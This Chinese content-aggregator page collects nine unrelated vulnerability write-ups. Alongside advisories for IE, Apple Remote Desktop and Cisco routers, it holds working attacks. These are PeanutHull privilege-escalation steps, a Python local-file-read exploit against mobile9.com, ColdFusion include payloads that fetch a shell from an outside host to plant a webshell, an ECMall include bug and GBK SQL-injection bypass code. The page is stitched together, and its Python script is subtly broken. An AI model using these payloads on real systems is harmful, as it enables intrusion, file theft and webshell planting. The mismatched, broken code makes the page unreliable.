当前位置：首页 > 范文大全 > 实用文>Internet Explorer Help ActiveX控件本地安全域绕过漏洞

Internet Explorer Help ActiveX控件本地安全域绕过漏洞

2023-03-22 07:54:48 收藏本文下载本文

“每当变幻时”通过精心收集，向本站投稿了9篇Internet Explorer Help ActiveX控件本地安全域绕过漏洞，下面小编为大家整理后的Internet Explorer Help ActiveX控件本地安全域绕过漏洞，欢迎阅读与借鉴!

篇1：Internet Explorer Help ActiveX控件本地安全域绕过漏洞

受影响系统：

Microsoft Internet Explorer 6.0

- Microsoft Windows XP Professional

- Microsoft Windows XP Home

- Microsoft Windows NT 4.0 SP6a

- Microsoft Windows ME

- Microsoft Windows 98 SE

- Microsoft Windows 98

- Microsoft Windows 描述：

Microsoft Internet Explorer是一款流行的WEB浏览器，

Microsoft Internet Explorer帮助控件存在问题，远程攻击者可以利用这个漏洞绕过本地安全域限制，

利用MSIE帮助控件，建立恶意页面，诱使用户访问，可以导致绕过本地安全域检查，以高权限执行任意脚本内容。

<*来源：Paul （paul@greyhats.cjb.net）

链接：marc.theaimsgroup.com/?l=bugtraq&m=110356607505041&w=2

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Paul （paul@greyhats.cjb.net）提供了如下测试代码：

建议：

厂商补丁：

Microsoft

---------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

www.microsoft.com/windows/ie/default.asp

篇2：Apple远程桌面本地认证绕过漏洞

受影响系统：Apple Remote Desktop 3.0

Apple Remote Desktop 2.1

Apple Remote Desktop 2.0描述：

BUGTRAQ ID: 2

Apple远程桌面（ARD）是专为Mac OS X设计的远程桌面管理系统，

ARD允许从管理工作站远程发送UNIX命令。由于ARD管理员可能给予了sudo访问，因此远程发送的命令可能以root用户权限运行。

LoginWindow进程属于已登录的用户。如果系统位于登录窗口的话，则LoginWindow进程就会属于root，

如果系统加载了只有root可见的磁盘镜像的话，该镜像就会试图显现在桌面上，点击鼠标会强制显示桌面及菜单，然后物理访问该系统的用户就可以看到一个查找器窗口，以及root用户的主目录。用户可以忽略登录窗口，然后获得完全的root访问。

<*来源：fribitch （fribitch@organic.com）

链接：marc.theaimsgroup.com/?l=bugtraq&m=115868559613987&w=2

建议：

临时解决方法：

* 使用ARD的锁屏功能。

厂商补丁：

Apple

-----

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

www.apple.com

篇3：花生壳本地权限提升漏洞

花生壳本地权限提升漏洞by Sowhat最后更新：.09.24英文: secway.org/advisory/AD20050720EN.txt中文: secway.org/advisory/AD20050720CN.txtCVE:CAN-2005-2382BID:14330受影响的产品:PeanutHull <= 3.0.1.0 综述:网域科技号称全球最大的DDNS（动态域名）提供商，花生壳是它们提供的客户端详细信息，可以查看www.oray.net具体细节:该漏洞主要是由于花生壳客户端系统图标没有正确的丢弃SYSTEM权限。本地非特权用户可以通过访问系统图标来以SYSTEM权限执行任意命令。Exploit:1. 双击任务栏花生壳图标，打开花生壳窗口2. 单击“帮助”，打开“论坛”3. 在跳出的IE地址栏中输入C:\4. 切换到%WINDIR%\System32\5. 单击打开cmd.exe6. 此时打开的cmd.exe以SYSTEM权限运行成功利用此漏洞可以获取SYSTEM权限厂商回复:2005.07.13 通过EMAIL通知厂商，

2005.07.14 厂商回复称将在3.0正式版中修复这个问题 2005.07.20 花生壳3.0正式版发布2005.07.20 此公告发布更新：Secunia在验证此漏洞时的发现，最新的3.0.1.0版依然存在此缺陷。本地用户可以通过发送SW_SHOW消息来调出花生壳窗口，进而提升权限。2005.07.21 测试代码公布Exploit:secway.org/exploit/PeanutHull_Local.rar解决方案：暂无请使用花生壳的用户限制普通用户的访问并时刻关注网域科技的补丁

篇4：ServU本地权限提升漏洞

受影响系统：

RhinoSoftServ-U5.1.0.0

RhinoSoftServ-U5.0.0.9

RhinoSoftServ-U5.0.0.4

RhinoSoftServ-U5.0

RhinoSoftServ-U4.1.0.3

RhinoSoftServ-U4.1.0.11

RhinoSoftServ-U4.0.0.4

RhinoSoftServ-U4.0.0.0

RhinoSoftServ-U3.0.0.20

描述：

--------------------------------------------------------------------------------

Serv-U是一个Windows平台下使用非常广泛的FTP服务器软件，

ServU本地权限提升漏洞

，

Serv-U存在设计问题，本地攻击者可以利用这个漏洞以SYSTEM权限在系统上执行任意命令。

所有Serv-U存在默认本地管理员登录密码，这帐户只能在本地接口中连接，因此本地攻击者可以连接Serv-U并建立拥有执行权限的FTP用户，在这个用户建立后，连接FTP服务器并执行“SITEEXEC”命令，程序就会以SYSTEM权限执行。

链接：marc.theaimsgroup.com/?l=full-disclosure

篇5：mobile9 本地文件包含漏洞

因为他是base64编码的手工测试很麻烦就写了个小工具,高手飘过

import urllib2,sys

import httplib

import base64,time

if len(sys.argv) <= 2:

print “=” * 30

print “mobile9.com local exploit by cnb|rd Qq:441303228”

print “Email:Linuxrootkit@gmail.com”

print “=” * 30

print “usage: ” + sys.argv[0] + “ hostname ” + “ local file ”

sys.exit(1)

host = sys.argv[1]

path = sys.argv[2]

file = sys.argv[3]

h = httplib.HTTP(host)

h.putrequest(“HEAD”, path)

h.putheader(“Host”, host)

h.endheaders

okresp, reason, headers = h.getreply()

print “=” * 30

print host + “ Server Banner is ” + headers.get(“Server”)

print “=” * 30

print “Local file to read is ” + file

time = int(time.time())

serverpath = “/download/content_delivery.php?key=”

str = str(file) + “|” + str(time) + “|”

print str

base64file = base64.urlsafe_b64encode(str)

requestpath = serverpath + base64file

print base64file

print requestpath

f = httplib.HTTPConnection(host)

f.request('GET', requestpath)

print f.getresponse().read()

f.close

CSDN博客cnbird2008

篇6：cfm本地包含漏洞利用

1.读取metabase.xml/web.xml /password.properities敏感文件,得知www路径,coldfusion路径,coldfusion后台加密密码

2.本地包含coldfusion日志,写cfm一句话,得到WEBSHELL

/index.cfm?action=../../../../../../../../../../CFusionMX7/logs/application.log%00

/index.cfm?action=

/index.cfm?action=..\..\..\CFusionMX7\logs\application.log%00&u=www.pentest.cc/shell.txt&p=c:\inetpub\wwwroot\&f=shell.cfm

成功条件：

1.WEB目录可写

2.coldfusion目录和web目录在同一个分区

3.多个牛人的群策群力

未解决的问题：

1.iis的日志会把空格变成+，不知道怎么绕过

2.coldfusion会把单引号和双引号加倍处理，不知道怎么绕过去（师傅也遇到这个问题了，哈哈）

摘自 mickey's blog

篇7：ECMall本地文件包含漏洞

by Ryat

bbs.wolvez.org

respond.php 48行

$pay_code = !empty($_REQUEST['code']) ? trim($_REQUEST['code']) : '';

...

$plugin_file = ROOT_PATH . '/includes/payment/' . $pay_code . '.php';

if (is_file($plugin_file))

{

include_once($plugin_file);很明显的一个bug

利用的话可以参考flyh4t提到过[bbs.wolvez.org/topic/56/]的一个思路:

可以通过旁注拿个shell，然后写个main.php到/tmp目录下，然后包含之

篇8：Cisco(CRWS)访问认证绕过漏洞

受影响系统：

Cisco CRWS 3.3.0 build 31

不受影响系统：

Cisco CRWS 3.3.0 build 31

描述：

BUGTRAQ ID: 18953

Cisco Router Web Setup工具(CRWS)提供了用于配置Cisco SOHO和Cisco 800系列路由器的图形用户界面（GUI），允许用户方便快捷的设置路由器，

Cisco IOS HTTP Server使用enable password（假设已配置）做为其默认的认证机制。也可以配置其他认证机制，包括使用本地用户数据库、外部RADIUS或外部TACACS+服务器。CRWS应用所捆绑的默认IOS配置没有包含enable password或enable secret命令，这就允许无需提供认证凭据便以任何权限级别访问Cisco IOS HTTP Server接口，最高可达15级权限。15级权限是Cisco IOS设备中的最高权限级别。

链接：www.cisco.com/warp/public/707/cisco-sa-0712-crws.shtml

建议：

临时解决方法：

1 - 禁用Cisco IOS HTTP Server功能

没有使用CRWS应用配置或管理设备且不需要Cisco IOS HTTP server所提供功能的用户可通过向设备配置中添加以下命令来禁用该功能：

no ip http server

no ip http secure-server

2 - 配置Enable Password允许认证Cisco IOS HTTP Server的请求

如果要配置enable secret口令，向设备配置添加以下命令：

enable secret

3 - 使用非默认认证机制允许认证对Cisco IOS HTTP Server的请求，

厂商补丁：

Cisco

Cisco已经为此发布了一个安全公告（cisco-sa-20060712-crws）以及相应补丁:

cisco-sa-20060712-crws：Cisco Router Web Setup Ships with Insecure Default IOS Configuration

链接：www.cisco.com/warp/public/707/cisco-sa-20060712-crws.shtml

补丁下载：

www.cisco.com/pcgi-bin/tablebuild.pl/crws

篇9：PHP字符编码绕过漏洞总结

style=“display:block;padding:0px 10px;” class=“ContentFont”>S:之前转过来的文章删除了，很多人问为什么，其实没有为什么，也懒得一一解答了，再转过来，存档之，

其实这东西国内少数早已知道，只不过没有共享公布而已。有些人是不愿共享，宁愿烂在地里，另外的一些则是用来牟利。

该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换后

变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞就触

发了。

mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相

应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一：

改变mysql配置文件my.cnf

CODE:

[client]

default-character-set=GBK

方法二：

在建立连接时使用

CODE:

SET CHARACTER SET 'GBK'

例：mysql_query(“SET CHARACTER SET 'gbk'”, $c);

问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞

下面是来自ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码

$c = mysql_connect(“localhost”, “user”, “pass”);

mysql_select_db(“database”, $c);

// change our character set

mysql_query(“SET CHARACTER SET 'gbk'”, $c);

// create demo table

mysql_query(“CREATE TABLE users (

username VARCHAR(32) PRIMARY KEY,

password VARCHAR(32)

) CHARACTER SET 'GBK'”, $c);

mysql_query(“INSERT INTO users VALUES('foo','bar'), ('baz','test')”, $c);

// now the exploit code

$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';

$_POST['password'] = 'anything';

// Proper escaping, we should be safe, right?

$user = mysql_real_escape_string($_POST['username'], $c);

$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = “SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'”;

$res = mysql_query($sql, $c);

echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知

道字符集的情况下用默认字符集处理产生漏洞的，

下面再来分析下国内最近漏洞产生的原因。

问题出现在一些字符转换函数上，例如mb_convert_encoding()和iconv()等。

发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后，又经过一些字符转换函数变为0×808027，而使得经过

addslashes() 加上的“\”失效，这样单引号就又发挥作用了。这就造成了字符注入漏洞。

根据80sec的说明，iconv()没有该问题，但经我用0xbf27测试

$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');

$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);

$id3=iconv('gbk', 'utf-8', $_GET['id']);

这些在GPC开启的情况下还是会产生字符注入漏洞，测试代码如下：

$c = mysql_connect(“localhost”, “user”, “pass”);

mysql_select_db(“database”, $c);

// change our character set

mysql_query(“SET CHARACTER SET 'gbk'”, $c);

// create demo table

mysql_query(“CREATE TABLE users (

username VARCHAR(32) PRIMARY KEY,

password VARCHAR(32)

) CHARACTER SET 'GBK'”, $c);

mysql_query(“INSERT INTO users VALUES('foo','bar'), ('baz','test')”, $c);

// now the exploit code

//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');

$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);

//$id3=iconv('gbk', 'utf-8', $_GET['id']);

$sql = “SELECT * FROM users WHERE username = '{$id2}' AND password = 'password'”;

$res = mysql_query($sql, $c);

echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

测试情况 www.safe3.cn/test.php?id=%bf%27 OR username = username /*

后记，这里不光是%bf，其它许多字符也可以造成同样漏洞，大家可以自己做个测试的查下，这里有zwell文章提到的一个分析

hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值，详情请看我

早期转载的一篇文章Bypassing script. filters with variable-width encodings 。

from:www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html

【Internet Explorer Help ActiveX控件本地安全域绕过漏洞】相关文章：

1.Microsoft Windows Kernel整数截断本地权限提升漏洞及修复

《Internet Explorer Help ActiveX控件本地安全域绕过漏洞.doc》

将本文的Word文档下载到电脑，方便收藏和打印

推荐度：

点击下载文档

文档为doc格式

实用文图文推荐

Internet Explorer Help ActiveX控件本地安全域绕过漏洞相关文章